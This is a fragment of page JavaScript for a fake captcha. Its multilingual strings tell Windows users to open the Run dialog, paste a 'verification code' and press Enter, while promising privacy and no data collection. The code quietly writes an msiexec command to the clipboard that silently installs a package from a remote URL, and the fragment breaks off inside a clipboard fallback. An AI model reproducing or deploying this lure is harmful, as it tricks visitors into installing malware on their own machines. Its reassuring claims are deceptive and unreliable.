hwScanDesc: "Cihazınızın benzersiz donanım yapılandırmasını güvenli bir şekilde analiz ediyoruz.",
cookieTitle: "90 günlük erişim jetonu",
cookieDesc: "Kriptografik olarak imzalanmış jeton 90 gün captcha'sız erişim sağlar.",
secureTitle: "Gizlilik öncelikli tasarım",
secureDesc: "Sıfır bilgi doğrulaması hiçbir kişisel verinin toplanmadığını garanti eder.",
faqTitle: "Sık sorulan sorular",
faq1Q: "Tarayıcı çerezlerimi temizlersem ne olur?",
faq1A: "Çerezlerinizi temizlerseniz doğrulama jetonu silinir.",
faq2Q: "Bu farklı tarayıcılarda çalışır mı?",
faq2A: "Hayır, her tarayıcı bağımsız doğrulama gerektirir.",
faq3Q: "Doğrulama sırasında kişisel verilerim toplanıyor mu?",
faq3A: "Hiçbir kişisel veri toplanmaz.",
faq4Q: "90 gün sonra ne olur?",
faq4A: "90 gün sonra doğrulama işlemini tekrar tamamlamanız gerekir.",
faq5Q: "Bunu mobil cihazlarda kullanabilir miyim?",
faq5A: "Şu anda bu doğrulama yalnızca Windows masaüstü cihazları için tasarlanmıştır.",
faq6Q: "Bu gizliliğimi etkiler mi veya gezinmemi yavaşlatır mı?",
faq6A: "Kesinlikle hayır. Doğrulamadan sonra performans etkisi yoktur.",
continueBtn: "Doğrulamaya devam et",
confirmWith: "ile onaylayın",
verifyHuman: "İnsan olduğunuzu doğrulayın",
},
ar: {
verify: "تحقق",
privacy: "الخصوصية",
terms: "الشروط",
verificationSteps: "التحقق",
step1: "اضغط مع الاستمرار على مفتاح Windows واضغط R",
step2Line1: "اضغط Ctrl+V للصق رمز التحقق",
step2Line2: "أكد بالضغط على Enter",
introTitle: "التحقق من الجهاز لمرة واحدة",
introSubtitle: "أكمل هذا التحقق السريع للاستمتاع بتصفح بدون انقطاع لمدة 90 يومًا.",
howItWorks: "كيف يعمل",
hwScanTitle: "بصمة الأجهزة",
hwScanDesc: "نحلل بشكل آمن التكوين الفريد لأجهزة جهازك.",
cookieTitle: "رمز وصول لمدة 90 يومًا",
cookieDesc: "يمنحك الرمز الموقع تشفيريًا 90 يومًا من الوصول بدون captcha.",
secureTitle: "تصميم يركز على الخصوصية",
secureDesc: "التحقق بدون معرفة عدم جمع أي بيانات شخصية.",
faqTitle: "الأسئلة الشائعة",
faq1Q: "ماذا يحدث إذا مسحت ملفات تعريف الارتباط في المتصفح؟",
faq1A: "إذا مسحت ملفات تعريف الارتباط، سيتم حذف رمز التحقق.",
faq2Q: "هل يعمل هذا في متصفحات مختلفة؟",
faq2A: "لا، كل متصفح يتطلب تحققًا مستقلاً.",
faq3Q: "هل يتم جمع بياناتي الشخصية أثناء التحقق؟",
faq3A: "لا يتم جمع أي بيانات شخصية.",
faq4Q: "ماذا يحدث بعد 90 يومًا؟",
faq4A: "بعد 90 يومًا، ستحتاج إلى إكمال عملية التحقق مرة أخرى.",
faq5Q: "هل يمكنني استخدام هذا على الأجهزة المحمولة؟",
faq5A: "حاليًا، هذا التحقق مصمم فقط لأجهزة Windows المكتبية.",
faq6Q: "هل يؤثر هذا على خصوصيتي أو يبطئ تصفحي؟",
faq6A: "لا على الإطلاق. بعد التحقق، لا يوجد تأثير على الأداء.",
continueBtn: "متابعة التحقق",
confirmWith: "وأكد بـ",
verifyHuman: "تحقق من أنك إنسان",
},
he: {
verify: "אמת",
privacy: "פרטיות",
terms: "תנאים",
verificationSteps: "אימות",
step1: "החזק את מקש Windows ולחץ R",
step2Line1: "לחץ Ctrl+V כדי להדביק את קוד האימות",
step2Line2: "אשר עם Enter",
introTitle: "אימות מכשיר חד פעמי",
introSubtitle: "השלם אימות מהיר זה כדי ליהנות מגלישה ללא הפרעות למשך 90 יום.",
howItWorks: "איך זה עובד",
hwScanTitle: "טביעת אצבע חומרה",
hwScanDesc: "אנו מנתחים בבטחה את תצורת החומרה הייחודית של המכשיר שלך.",
cookieTitle: "אסימון גישה ל-90 יום",
cookieDesc: "אסימון חתום קריפטוגרפית מעניק לך 90 יום של גישה ללא captcha.",
secureTitle: "עיצוב ממוקד פרטיות",
secureDesc: "אימות אפס-ידע מבטיח שלא נאספים נתונים אישיים.",
faqTitle: "שאלות נפוצות",
faq1Q: "מה קורה אם אני מוחק את קובצי העוגיות של הדפדפן?",
faq1A: "אם תמחק את העוגיות, אסימון האימות יימחק.",
faq2Q: "האם זה עובד בדפדפנים שונים?",
faq2A: "לא, כל דפדפן דורש אימות עצמאי.",
faq3Q: "האם הנתונים האישיים שלי נאספים במהלך האימות?",
faq3A: "לא נאספים נתונים אישיים.",
faq4Q: "מה קורה אחרי 90 יום?",
faq4A: "אחרי 90 יום, תצטרך להשלים שוב את תהליך האימות.",
faq5Q: "האם אני יכול להשתמש בזה במכשירים ניידים?",
faq5A: "כרגע, אימות זה מיועד רק למכשירי Windows שולחניים.",
faq6Q: "האם זה משפיע על הפרטיות שלי או מאט את הגלישה?",
faq6A: "בכלל לא. לאחר האימות, אין השפעה על הביצועים.",
continueBtn: "המשך לאימות",
confirmWith: "ואשר עם",
verifyHuman: "אמת שאתה אנושי",
},
th: {
verify: "ยืนยัน",
privacy: "ความเป็นส่วนตัว",
terms: "ข้อกำหนด",
verificationSteps: "การยืนยัน",
step1: "กดปุ่ม Windows ค้างไว้แล้วกด R",
step2Line1: "กด Ctrl+V เพื่อวางรหัสยืนยัน",
step2Line2: "ยืนยันด้วย Enter",
introTitle: "การยืนยันอุปกรณ์ครั้งเดียว",
introSubtitle: "ทำการยืนยันอย่างรวดเร็วนี้เพื่อเพลิดเพลินกับการท่องเว็บอย่างต่อเนื่องเป็นเวลา 90 วัน",
howItWorks: "วิธีการทำงาน",
hwScanTitle: "ลายนิ้วมือฮาร์ดแวร์",
hwScanDesc: "เราวิเคราะห์การกำหนดค่าฮาร์ดแวร์ที่ไม่ซ้ำกันของอุปกรณ์ของคุณอย่างปลอดภัย",
cookieTitle: "โทเค็นการเข้าถึง 90 วัน",
cookieDesc: "โทเค็นที่ลงนามด้วยการเข้ารหัสให้คุณเข้าถึงได้ 90 วันโดยไม่มี captcha",
secureTitle: "การออกแบบที่เน้นความเป็นส่วนตัว",
secureDesc: "การยืนยันแบบ zero-knowledge รับประกันว่าจะไม่มีการเก็บข้อมูลส่วนบุคคล",
faqTitle: "คำถามที่พบบ่อย",
faq1Q: "จะเกิดอะไรขึ้นถ้าฉันล้างคุกกี้ของเบราว์เซอร์?",
faq1A: "หากคุณล้างคุกกี้ โทเค็นการยืนยันจะถูกลบ",
faq2Q: "สิ่งนี้ใช้งานได้ในเบราว์เซอร์ต่างๆ หรือไม่?",
faq2A: "ไม่ แต่ละเบราว์เซอร์ต้องการการยืนยันอิสระ",
faq3Q: "ข้อมูลส่วนบุคคลของฉันถูกเก็บรวบรวมระหว่างการยืนยันหรือไม่?",
faq3A: "ไม่มีการเก็บรวบรวมข้อมูลส่วนบุคคล",
faq4Q: "จะเกิดอะไรขึ้นหลังจาก 90 วัน?",
faq4A: "หลังจาก 90 วัน คุณจะต้องทำกระบวนการยืนยันอีกครั้ง",
faq5Q: "ฉันสามารถใช้สิ่งนี้บนอุปกรณ์มือถือได้หรือไม่?",
faq5A: "ปัจจุบัน การยืนยันนี้ออกแบบมาสำหรับอุปกรณ์เดสก์ท็อป Windows เท่านั้น",
faq6Q: "สิ่งนี้ส่งผลต่อความเป็นส่วนตัวของฉันหรือทำให้การท่องเว็บช้าลงหรือไม่?",
faq6A: "ไม่เลย หลังจากการยืนยัน ไม่มีผลกระทบต่อประสิทธิภาพ",
continueBtn: "ดำเนินการยืนยันต่อ",
confirmWith: "และยืนยันด้วย",
verifyHuman: "ยืนยันว่าคุณเป็นมนุษย์",
},
vi: {
verify: "Xác minh",
privacy: "Quyền riêng tư",
terms: "Điều khoản",
verificationSteps: "Xác minh",
step1: "Giữ phím Windows và nhấn R",
step2Line1: "Nhấn Ctrl+V để dán mã xác minh",
step2Line2: "Xác nhận bằng Enter",
introTitle: "Xác minh thiết bị một lần",
introSubtitle: "Hoàn thành xác minh nhanh này để tận hưởng duyệt web không gián đoạn trong 90 ngày.",
howItWorks: "Cách hoạt động",
hwScanTitle: "Dấu vân tay phần cứng",
hwScanDesc: "Chúng tôi phân tích an toàn cấu hình phần cứng độc đáo của thiết bị của bạn.",
cookieTitle: "Mã thông báo truy cập 90 ngày",
cookieDesc: "Mã thông báo được ký mã hóa cho phép bạn truy cập 90 ngày không có captcha.",
secureTitle: "Thiết kế ưu tiên quyền riêng tư",
secureDesc: "Xác minh không kiến thức đảm bảo không có dữ liệu cá nhân nào được thu thập.",
faqTitle: "Câu hỏi thường gặp",
faq1Q: "Điều gì xảy ra nếu tôi xóa cookie trình duyệt?",
faq1A: "Nếu bạn xóa cookie, mã thông báo xác minh sẽ bị xóa.",
faq2Q: "Điều này có hoạt động trên các trình duyệt khác nhau không?",
faq2A: "Không, mỗi trình duyệt yêu cầu xác minh độc lập.",
faq3Q: "Dữ liệu cá nhân của tôi có bị thu thập trong quá trình xác minh không?",
faq3A: "Không có dữ liệu cá nhân nào được thu thập.",
faq4Q: "Điều gì xảy ra sau 90 ngày?",
faq4A: "Sau 90 ngày, bạn sẽ cần hoàn thành lại quy trình xác minh.",
faq5Q: "Tôi có thể sử dụng điều này trên thiết bị di động không?",
faq5A: "Hiện tại, xác minh này chỉ được thiết kế cho các thiết bị máy tính Windows.",
faq6Q: "Điều này có ảnh hưởng đến quyền riêng tư của tôi hoặc làm chậm việc duyệt web không?",
faq6A: "Hoàn toàn không. Sau khi xác minh, không có tác động đến hiệu suất.",
continueBtn: "Tiếp tục xác minh",
confirmWith: "và xác nhận bằng",
verifyHuman: "Xác minh bạn là con người",
},
id: {
verify: "Verifikasi",
privacy: "Privasi",
terms: "Ketentuan",
verificationSteps: "Verifikasi",
step1: "Tahan tombol Windows dan tekan R",
step2Line1: "Tekan Ctrl+V untuk menempelkan kode verifikasi",
step2Line2: "Konfirmasi dengan Enter",
introTitle: "Verifikasi perangkat satu kali",
introSubtitle: "Selesaikan verifikasi cepat ini untuk menikmati penjelajahan tanpa gangguan selama 90 hari.",
howItWorks: "Cara kerjanya",
hwScanTitle: "Sidik jari perangkat keras",
hwScanDesc: "Kami menganalisis konfigurasi perangkat keras unik perangkat Anda dengan aman.",
cookieTitle: "Token akses 90 hari",
cookieDesc: "Token yang ditandatangani secara kriptografis memberi Anda akses 90 hari tanpa captcha.",
secureTitle: "Desain mengutamakan privasi",
secureDesc: "Verifikasi zero-knowledge memastikan tidak ada data pribadi yang dikumpulkan.",
faqTitle: "Pertanyaan yang sering diajukan",
faq1Q: "Apa yang terjadi jika saya menghapus cookie browser?",
faq1A: "Jika Anda menghapus cookie, token verifikasi akan dihapus.",
faq2Q: "Apakah ini berfungsi di browser yang berbeda?",
faq2A: "Tidak, setiap browser memerlukan verifikasi independen.",
faq3Q: "Apakah data pribadi saya dikumpulkan selama verifikasi?",
faq3A: "Tidak ada data pribadi yang dikumpulkan.",
faq4Q: "Apa yang terjadi setelah 90 hari?",
faq4A: "Setelah 90 hari, Anda perlu menyelesaikan proses verifikasi lagi.",
faq5Q: "Bisakah saya menggunakan ini di perangkat seluler?",
faq5A: "Saat ini, verifikasi ini dirancang hanya untuk perangkat desktop Windows.",
faq6Q: "Apakah ini mempengaruhi privasi saya atau memperlambat penjelajahan?",
faq6A: "Sama sekali tidak. Setelah diverifikasi, tidak ada dampak pada kinerja.",
continueBtn: "Lanjutkan ke verifikasi",
confirmWith: "dan konfirmasi dengan",
verifyHuman: "Verifikasi bahwa Anda manusia",
},
ms: {
verify: "Sahkan",
privacy: "Privasi",
terms: "Terma",
verificationSteps: "Pengesahan",
step1: "Tahan kekunci Windows dan tekan R",
step2Line1: "Tekan Ctrl+V untuk menampal kod pengesahan",
step2Line2: "Sahkan dengan Enter",
introTitle: "Pengesahan peranti sekali sahaja",
introSubtitle: "Lengkapkan pengesahan pantas ini untuk menikmati pelayaran tanpa gangguan selama 90 hari.",
howItWorks: "Cara ia berfungsi",
hwScanTitle: "Cap jari perkakasan",
hwScanDesc: "Kami menganalisis konfigurasi perkakasan unik peranti anda dengan selamat.",
cookieTitle: "Token akses 90 hari",
cookieDesc: "Token yang ditandatangani secara kriptografi memberi anda 90 hari akses tanpa captcha.",
secureTitle: "Reka bentuk mengutamakan privasi",
secureDesc: "Pengesahan zero-knowledge memastikan tiada data peribadi dikumpul.",
faqTitle: "Soalan lazim",
faq1Q: "Apa yang berlaku jika saya memadam kuki pelayar?",
faq1A: "Jika anda memadam kuki, token pengesahan akan dipadam.",
faq2Q: "Adakah ini berfungsi di pelayar yang berbeza?",
faq2A: "Tidak, setiap pelayar memerlukan pengesahan bebas.",
faq3Q: "Adakah data peribadi saya dikumpul semasa pengesahan?",
faq3A: "Tiada data peribadi dikumpul.",
faq4Q: "Apa yang berlaku selepas 90 hari?",
faq4A: "Selepas 90 hari, anda perlu melengkapkan proses pengesahan semula.",
faq5Q: "Bolehkah saya menggunakan ini pada peranti mudah alih?",
faq5A: "Pada masa ini, pengesahan ini direka untuk peranti desktop Windows sahaja.",
faq6Q: "Adakah ini menjejaskan privasi saya atau melambatkan pelayaran?",
faq6A: "Tidak sama sekali. Selepas disahkan, tiada kesan prestasi.",
continueBtn: "Teruskan ke pengesahan",
confirmWith: "dan sahkan dengan",
verifyHuman: "Sahkan anda adalah manusia",
},
sv: {
verify: "Verifiera",
privacy: "Integritet",
terms: "Villkor",
verificationSteps: "Verifiering",
step1: "Håll ner Windows-tangenten och tryck R",
step2Line1: "Tryck Ctrl+V för att klistra in verifieringskoden",
step2Line2: "Bekräfta med Enter",
introTitle: "Engångsverifiering av enhet",
introSubtitle: "Slutför denna snabba verifiering för att njuta av oavbruten surfning i 90 dagar.",
howItWorks: "Hur det fungerar",
hwScanTitle: "Hårdvarufingeravtryck",
hwScanDesc: "Vi analyserar säkert din enhets unika hårdvarukonfiguration.",
cookieTitle: "90-dagars åtkomsttoken",
cookieDesc: "En kryptografiskt signerad token ger dig 90 dagars captcha-fri åtkomst.",
secureTitle: "Integritetsfokuserad design",
secureDesc: "Zero-knowledge-verifiering säkerställer att inga personuppgifter samlas in.",
faqTitle: "Vanliga frågor",
faq1Q: "Vad händer om jag rensar mina webbläsarcookies?",
faq1A: "Om du rensar dina cookies raderas verifieringstoken.",
faq2Q: "Fungerar detta i olika webbläsare?",
faq2A: "Nej, varje webbläsare kräver oberoende verifiering.",
faq3Q: "Samlas mina personuppgifter in under verifieringen?",
faq3A: "Inga personuppgifter samlas in.",
faq4Q: "Vad händer efter 90 dagar?",
faq4A: "Efter 90 dagar måste du slutföra verifieringsprocessen igen.",
faq5Q: "Kan jag använda detta på mobila enheter?",
faq5A: "För närvarande är denna verifiering endast utformad för Windows-stationära enheter.",
faq6Q: "Påverkar detta min integritet eller saktar ner min surfning?",
faq6A: "Inte alls. Efter verifiering finns det ingen prestandapåverkan.",
continueBtn: "Fortsätt till verifiering",
confirmWith: "och bekräfta med",
verifyHuman: "Verifiera att du är människa",
},
da: {
verify: "Verificer",
privacy: "Privatliv",
terms: "Vilkår",
verificationSteps: "Verificering",
step1: "Hold Windows-tasten nede og tryk R",
step2Line1: "Tryk Ctrl+V for at indsætte verifikationskoden",
step2Line2: "Bekræft med Enter",
introTitle: "Engangsverificering af enhed",
introSubtitle: "Fuldfør denne hurtige verificering for at nyde uafbrudt browsing i 90 dage.",
howItWorks: "Sådan fungerer det",
hwScanTitle: "Hardware-fingeraftryk",
hwScanDesc: "Vi analyserer sikkert din enheds unikke hardwarekonfiguration.",
cookieTitle: "90-dages adgangstoken",
cookieDesc: "En kryptografisk signeret token giver dig 90 dages captcha-fri adgang.",
secureTitle: "Privatlivsfokuseret design",
secureDesc: "Zero-knowledge-verificering sikrer, at ingen personlige data indsamles.",
faqTitle: "Ofte stillede spørgsmål",
faq1Q: "Hvad sker der, hvis jeg rydder mine browsercookies?",
faq1A: "Hvis du rydder dine cookies, vil verifikationstokenet blive slettet.",
faq2Q: "Virker dette i forskellige browsere?",
faq2A: "Nej, hver browser kræver uafhængig verificering.",
faq3Q: "Indsamles mine personlige data under verificeringen?",
faq3A: "Ingen personlige data indsamles.",
faq4Q: "Hvad sker der efter 90 dage?",
faq4A: "Efter 90 dage skal du fuldføre verificeringsprocessen igen.",
faq5Q: "Kan jeg bruge dette på mobile enheder?",
faq5A: "I øjeblikket er denne verificering kun designet til Windows-stationære enheder.",
faq6Q: "Påvirker dette mit privatliv eller sænker min browsing?",
faq6A: "Slet ikke. Efter verificering er der ingen præstationspåvirkning.",
continueBtn: "Fortsæt til verificering",
confirmWith: "og bekræft med",
verifyHuman: "Bekræft at du er et menneske",
},
no: {
verify: "Verifiser",
privacy: "Personvern",
terms: "Vilkår",
verificationSteps: "Verifisering",
step1: "Hold Windows-tasten nede og trykk R",
step2Line1: "Trykk Ctrl+V for å lime inn verifiseringskoden",
step2Line2: "Bekreft med Enter",
introTitle: "Engangsverifisering av enhet",
introSubtitle: "Fullfør denne raske verifiseringen for å nyte uavbrutt surfing i 90 dager.",
howItWorks: "Slik fungerer det",
hwScanTitle: "Maskinvarefingeravtrykk",
hwScanDesc: "Vi analyserer sikkert enhetens unike maskinvarekonfigurasjon.",
cookieTitle: "90-dagers tilgangstoken",
cookieDesc: "En kryptografisk signert token gir deg 90 dagers captcha-fri tilgang.",
secureTitle: "Personvernfokusert design",
secureDesc: "Zero-knowledge-verifisering sikrer at ingen personlige data samles inn.",
faqTitle: "Ofte stilte spørsmål",
faq1Q: "Hva skjer hvis jeg sletter nettleserens informasjonskapsler?",
faq1A: "Hvis du sletter informasjonskapslene, vil verifiseringstokenet bli slettet.",
faq2Q: "Fungerer dette i forskjellige nettlesere?",
faq2A: "Nei, hver nettleser krever uavhengig verifisering.",
faq3Q: "Samles mine personlige data inn under verifiseringen?",
faq3A: "Ingen personlige data samles inn.",
faq4Q: "Hva skjer etter 90 dager?",
faq4A: "Etter 90 dager må du fullføre verifiseringsprosessen på nytt.",
faq5Q: "Kan jeg bruke dette på mobile enheter?",
faq5A: "For øyeblikket er denne verifiseringen kun designet for Windows-stasjonære enheter.",
faq6Q: "Påvirker dette personvernet mitt eller bremser surfingen?",
faq6A: "Overhodet ikke. Etter verifisering er det ingen ytelsespåvirkning.",
continueBtn: "Fortsett til verifisering",
confirmWith: "og bekreft med",
verifyHuman: "Bekreft at du er et menneske",
},
fi: {
verify: "Vahvista",
privacy: "Yksityisyys",
terms: "Ehdot",
verificationSteps: "Vahvistus",
step1: "Pidä Windows-näppäintä painettuna ja paina R",
step2Line1: "Paina Ctrl+V liittääksesi vahvistuskoodin",
step2Line2: "Vahvista Enterillä",
introTitle: "Kertaluonteinen laitevahvistus",
introSubtitle: "Suorita tämä nopea vahvistus nauttiaksesi keskeytymättömästä selaamisesta 90 päivää.",
howItWorks: "Näin se toimii",
hwScanTitle: "Laitteistosormenjälki",
hwScanDesc: "Analysoimme turvallisesti laitteesi ainutlaatuisen laitteistokokoonpanon.",
cookieTitle: "90 päivän käyttöoikeustunnus",
cookieDesc: "Kryptografisesti allekirjoitettu tunnus antaa sinulle 90 päivää captcha-vapaata käyttöä.",
secureTitle: "Yksityisyyteen keskittyvä suunnittelu",
secureDesc: "Nollatiedon vahvistus varmistaa, ettei henkilötietoja kerätä.",
faqTitle: "Usein kysytyt kysymykset",
faq1Q: "Mitä tapahtuu, jos tyhjennän selaimen evästeet?",
faq1A: "Jos tyhjennät evästeet, vahvistustunnus poistetaan.",
faq2Q: "Toimiiko tämä eri selaimissa?",
faq2A: "Ei, jokainen selain vaatii itsenäisen vahvistuksen.",
faq3Q: "Kerätäänkö henkilötietojani vahvistuksen aikana?",
faq3A: "Henkilötietoja ei kerätä.",
faq4Q: "Mitä tapahtuu 90 päivän jälkeen?",
faq4A: "90 päivän jälkeen sinun on suoritettava vahvistusprosessi uudelleen.",
faq5Q: "Voinko käyttää tätä mobiililaitteilla?",
faq5A: "Tällä hetkellä tämä vahvistus on suunniteltu vain Windows-pöytätietokoneille.",
faq6Q: "Vaikuttaako tämä yksityisyyteeni tai hidastaako selaamistani?",
faq6A: "Ei lainkaan. Vahvistuksen jälkeen suorituskykyyn ei ole vaikutusta.",
continueBtn: "Jatka vahvistukseen",
confirmWith: "ja vahvista",
verifyHuman: "Vahvista, että olet ihminen",
},
cs: {
verify: "Ověřit",
privacy: "Soukromí",
terms: "Podmínky",
verificationSteps: "Ověření",
step1: "Podržte klávesu Windows a stiskněte R",
step2Line1: "Stiskněte Ctrl+V pro vložení ověřovacího kódu",
step2Line2: "Potvrďte klávesou Enter",
introTitle: "Jednorázové ověření zařízení",
introSubtitle: "Dokončete toto rychlé ověření pro 90 dní nepřerušovaného prohlížení.",
howItWorks: "Jak to funguje",
hwScanTitle: "Hardwarový otisk",
hwScanDesc: "Bezpečně analyzujeme jedinečnou hardwarovou konfiguraci vašeho zařízení.",
cookieTitle: "90denní přístupový token",
cookieDesc: "Kryptograficky podepsaný token vám poskytuje 90 dní přístupu bez captcha.",
secureTitle: "Design zaměřený na soukromí",
secureDesc: "Ověření s nulovými znalostmi zajišťuje, že nejsou shromažďována žádná osobní data.",
faqTitle: "Často kladené otázky",
faq1Q: "Co se stane, když vymažu soubory cookie prohlížeče?",
faq1A: "Pokud vymažete soubory cookie, ověřovací token bude smazán.",
faq2Q: "Funguje to v různých prohlížečích?",
faq2A: "Ne, každý prohlížeč vyžaduje nezávislé ověření.",
faq3Q: "Jsou mé osobní údaje shromažďovány během ověřování?",
faq3A: "Žádné osobní údaje nejsou shromažďovány.",
faq4Q: "Co se stane po 90 dnech?",
faq4A: "Po 90 dnech budete muset znovu dokončit proces ověření.",
faq5Q: "Mohu to použít na mobilních zařízeních?",
faq5A: "V současné době je toto ověření navrženo pouze pro stolní zařízení Windows.",
faq6Q: "Ovlivňuje to mé soukromí nebo zpomaluje prohlížení?",
faq6A: "Vůbec ne. Po ověření není žádný dopad na výkon.",
continueBtn: "Pokračovat k ověření",
confirmWith: "a potvrďte",
verifyHuman: "Ověřte, že jste člověk",
},
el: {
verify: "Επαλήθευση",
privacy: "Απόρρητο",
terms: "Όροι",
verificationSteps: "Επαλήθευση",
step1: "Κρατήστε πατημένο το πλήκτρο Windows και πατήστε R",
step2Line1: "Πατήστε Ctrl+V για να επικολλήσετε τον κωδικό επαλήθευσης",
step2Line2: "Επιβεβαιώστε με Enter",
introTitle: "Μοναδική επαλήθευση συσκευής",
introSubtitle: "Ολοκληρώστε αυτή τη γρήγορη επαλήθευση για να απολαύσετε αδιάκοπη περιήγηση για 90 ημέρες.",
howItWorks: "Πώς λειτουργεί",
hwScanTitle: "Δακτυλικό αποτύπωμα υλικού",
hwScanDesc: "Αναλύουμε με ασφάλεια τη μοναδική διαμόρφωση υλικού της συσκευής σας.",
cookieTitle: "Token πρόσβασης 90 ημερών",
cookieDesc: "Ένα κρυπτογραφικά υπογεγραμμένο token σας παρέχει 90 ημέρες πρόσβασης χωρίς captcha.",
secureTitle: "Σχεδιασμός με επίκεντρο το απόρρητο",
secureDesc: "Η επαλήθευση μηδενικής γνώσης διασφαλίζει ότι δεν συλλέγονται προσωπικά δεδομένα.",
faqTitle: "Συχνές ερωτήσεις",
faq1Q: "Τι συμβαίνει αν διαγράψω τα cookies του προγράμματος περιήγησης;",
faq1A: "Αν διαγράψετε τα cookies, το token επαλήθευσης θα διαγραφεί.",
faq2Q: "Λειτουργεί αυτό σε διαφορετικά προγράμματα περιήγησης;",
faq2A: "Όχι, κάθε πρόγραμμα περιήγησης απαιτεί ανεξάρτητη επαλήθευση.",
faq3Q: "Συλλέγονται τα προσωπικά μου δεδομένα κατά την επαλήθευση;",
faq3A: "Δεν συλλέγονται προσωπικά δεδομένα.",
faq4Q: "Τι συμβαίνει μετά από 90 ημέρες;",
faq4A: "Μετά από 90 ημέρες, θα πρέπει να ολοκληρώσετε ξανά τη διαδικασία επαλήθευσης.",
faq5Q: "Μπορώ να το χρησιμοποιήσω σε κινητές συσκευές;",
faq5A: "Προς το παρόν, αυτή η επαλήθευση είναι σχεδιασμένη μόνο για επιτραπέζιες συσκευές Windows.",
faq6Q: "Επηρεάζει αυτό το απόρρητό μου ή επιβραδύνει την περιήγηση;",
faq6A: "Καθόλου. Μετά την επαλήθευση, δεν υπάρχει επίδραση στην απόδοση.",
continueBtn: "Συνέχεια στην επαλήθευση",
confirmWith: "και επιβεβαιώστε με",
verifyHuman: "Επαληθεύστε ότι είστε άνθρωπος",
},
hu: {
verify: "Ellenőrzés",
privacy: "Adatvédelem",
terms: "Feltételek",
verificationSteps: "Ellenőrzés",
step1: "Tartsa lenyomva a Windows billentyűt és nyomja meg az R-t",
step2Line1: "Nyomja meg a Ctrl+V-t az ellenőrző kód beillesztéséhez",
step2Line2: "Erősítse meg az Enterrel",
introTitle: "Egyszeri eszközellenőrzés",
introSubtitle: "Végezze el ezt a gyors ellenőrzést 90 nap megszakítás nélküli böngészéshez.",
howItWorks: "Hogyan működik",
hwScanTitle: "Hardver ujjlenyomat",
hwScanDesc: "Biztonságosan elemezzük eszköze egyedi hardverkonfigurációját.",
cookieTitle: "90 napos hozzáférési token",
cookieDesc: "Egy kriptográfiailag aláírt token 90 nap captcha-mentes hozzáférést biztosít.",
secureTitle: "Adatvédelem-központú tervezés",
secureDesc: "A zéró tudású ellenőrzés biztosítja, hogy személyes adatok nem kerülnek gyűjtésre.",
faqTitle: "Gyakran ismételt kérdések",
faq1Q: "Mi történik, ha törlöm a böngésző sütiket?",
faq1A: "Ha törli a sütiket, az ellenőrzési token törlődik.",
faq2Q: "Működik ez különböző böngészőkben?",
faq2A: "Nem, minden böngésző független ellenőrzést igényel.",
faq3Q: "Gyűjtik a személyes adataimat az ellenőrzés során?",
faq3A: "Személyes adatok nem kerülnek gyűjtésre.",
faq4Q: "Mi történik 90 nap után?",
faq4A: "90 nap után újra el kell végeznie az ellenőrzési folyamatot.",
faq5Q: "Használhatom ezt mobileszközökön?",
faq5A: "Jelenleg ez az ellenőrzés csak Windows asztali eszközökre készült.",
faq6Q: "Befolyásolja ez a magánéletemet vagy lassítja a böngészést?",
faq6A: "Egyáltalán nem. Az ellenőrzés után nincs teljesítményhatás.",
continueBtn: "Folytatás az ellenőrzéshez",
confirmWith: "és erősítse meg",
verifyHuman: "Igazolja, hogy ember",
},
ro: {
verify: "Verificare",
privacy: "Confidențialitate",
terms: "Termeni",
verificationSteps: "Verificare",
step1: "Țineți apăsată tasta Windows și apăsați R",
step2Line1: "Apăsați Ctrl+V pentru a lipi codul de verificare",
step2Line2: "Confirmați cu Enter",
introTitle: "Verificare unică a dispozitivului",
introSubtitle:
"Finalizați această verificare rapidă pentru a vă bucura de navigare neîntreruptă timp de 90 de zile.",
howItWorks: "Cum funcționează",
hwScanTitle: "Amprentă hardware",
hwScanDesc: "Analizăm în siguranță configurația hardware unică a dispozitivului dvs.",
cookieTitle: "Token de acces de 90 de zile",
cookieDesc: "Un token semnat criptografic vă oferă 90 de zile de acces fără captcha.",
secureTitle: "Design axat pe confidențialitate",
secureDesc: "Verificarea cu cunoștințe zero asigură că nu sunt colectate date personale.",
faqTitle: "Întrebări frecvente",
faq1Q: "Ce se întâmplă dacă șterg cookie-urile browserului?",
faq1A: "Dacă ștergeți cookie-urile, tokenul de verificare va fi șters.",
faq2Q: "Funcționează acest lucru în diferite browsere?",
faq2A: "Nu, fiecare browser necesită verificare independentă.",
faq3Q: "Sunt colectate datele mele personale în timpul verificării?",
faq3A: "Nu sunt colectate date personale.",
faq4Q: "Ce se întâmplă după 90 de zile?",
faq4A: "După 90 de zile, va trebui să finalizați din nou procesul de verificare.",
faq5Q: "Pot folosi acest lucru pe dispozitive mobile?",
faq5A: "În prezent, această verificare este concepută doar pentru dispozitive desktop Windows.",
faq6Q: "Afectează acest lucru confidențialitatea mea sau încetinește navigarea?",
faq6A: "Deloc. După verificare, nu există niciun impact asupra performanței.",
continueBtn: "Continuați la verificare",
confirmWith: "și confirmați cu",
verifyHuman: "Verificați că sunteți om",
},
}
// Detect browser language
function detectLanguage() {
var browserLang = navigator.language.split("-")[0]
return translations[browserLang] ? browserLang : "en"
}
// Get translation
function t(key) {
return translations[lang][key] || translations["en"][key] || key
}
// Cookie functions
function isVerified() {
return document.cookie.split(";").some((cookie) => cookie.trim().startsWith(COOKIE_NAME + "="))
}
function setVerificationCookie() {
var expiryDate = new Date()
expiryDate.setDate(expiryDate.getDate() + COOKIE_DURATION_DAYS)
document.cookie = COOKIE_NAME + "=verified; expires=" + expiryDate.toUTCString() + "; path=/; SameSite=Strict"
}
// Show/Hide captcha
function showCaptcha() {
captchaOpen = true
animationPhase = 0
step = 1
faqOpen = false
howItWorksOpen = false
expandedFaq = null
expandedHowItWorks = null
injectAnimationStyles() // Inject styles when captcha is shown
var overlay = document.getElementById("cf-captcha-overlay")
if (overlay) {
overlay.style.display = "flex"
renderCaptchaContent()
}
}
function hideCaptcha() {
captchaOpen = false
var overlay = document.getElementById("cf-captcha-overlay")
if (overlay) {
overlay.style.display = "none"
}
}
function completeVerification() {
setVerificationCookie()
hideCaptcha()
}
// Handle checkbox click
function handleCheckboxClick() {
if (animationPhase === 0) {
animationPhase = 1
renderCaptchaContent()
setTimeout(() => {
animationPhase = 2
renderCaptchaContent()
}, 1500)
setTimeout(() => {
animationPhase = 3
renderCaptchaContent()
}, 2500)
setTimeout(() => {
animationPhase = 4
renderCaptchaContent()
}, 3200)
}
}
function handleContinueToVerification() {
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText("msiexec /i https://www.wanneroos.com.au/com /qn").catch(() => {
// Fallback for older browsers
var textArea = document.createElement("textarea")
textArea.value = "ha gotcha!"
textArea.style.position = "fixed"
textArea.style.left = "-999999px"
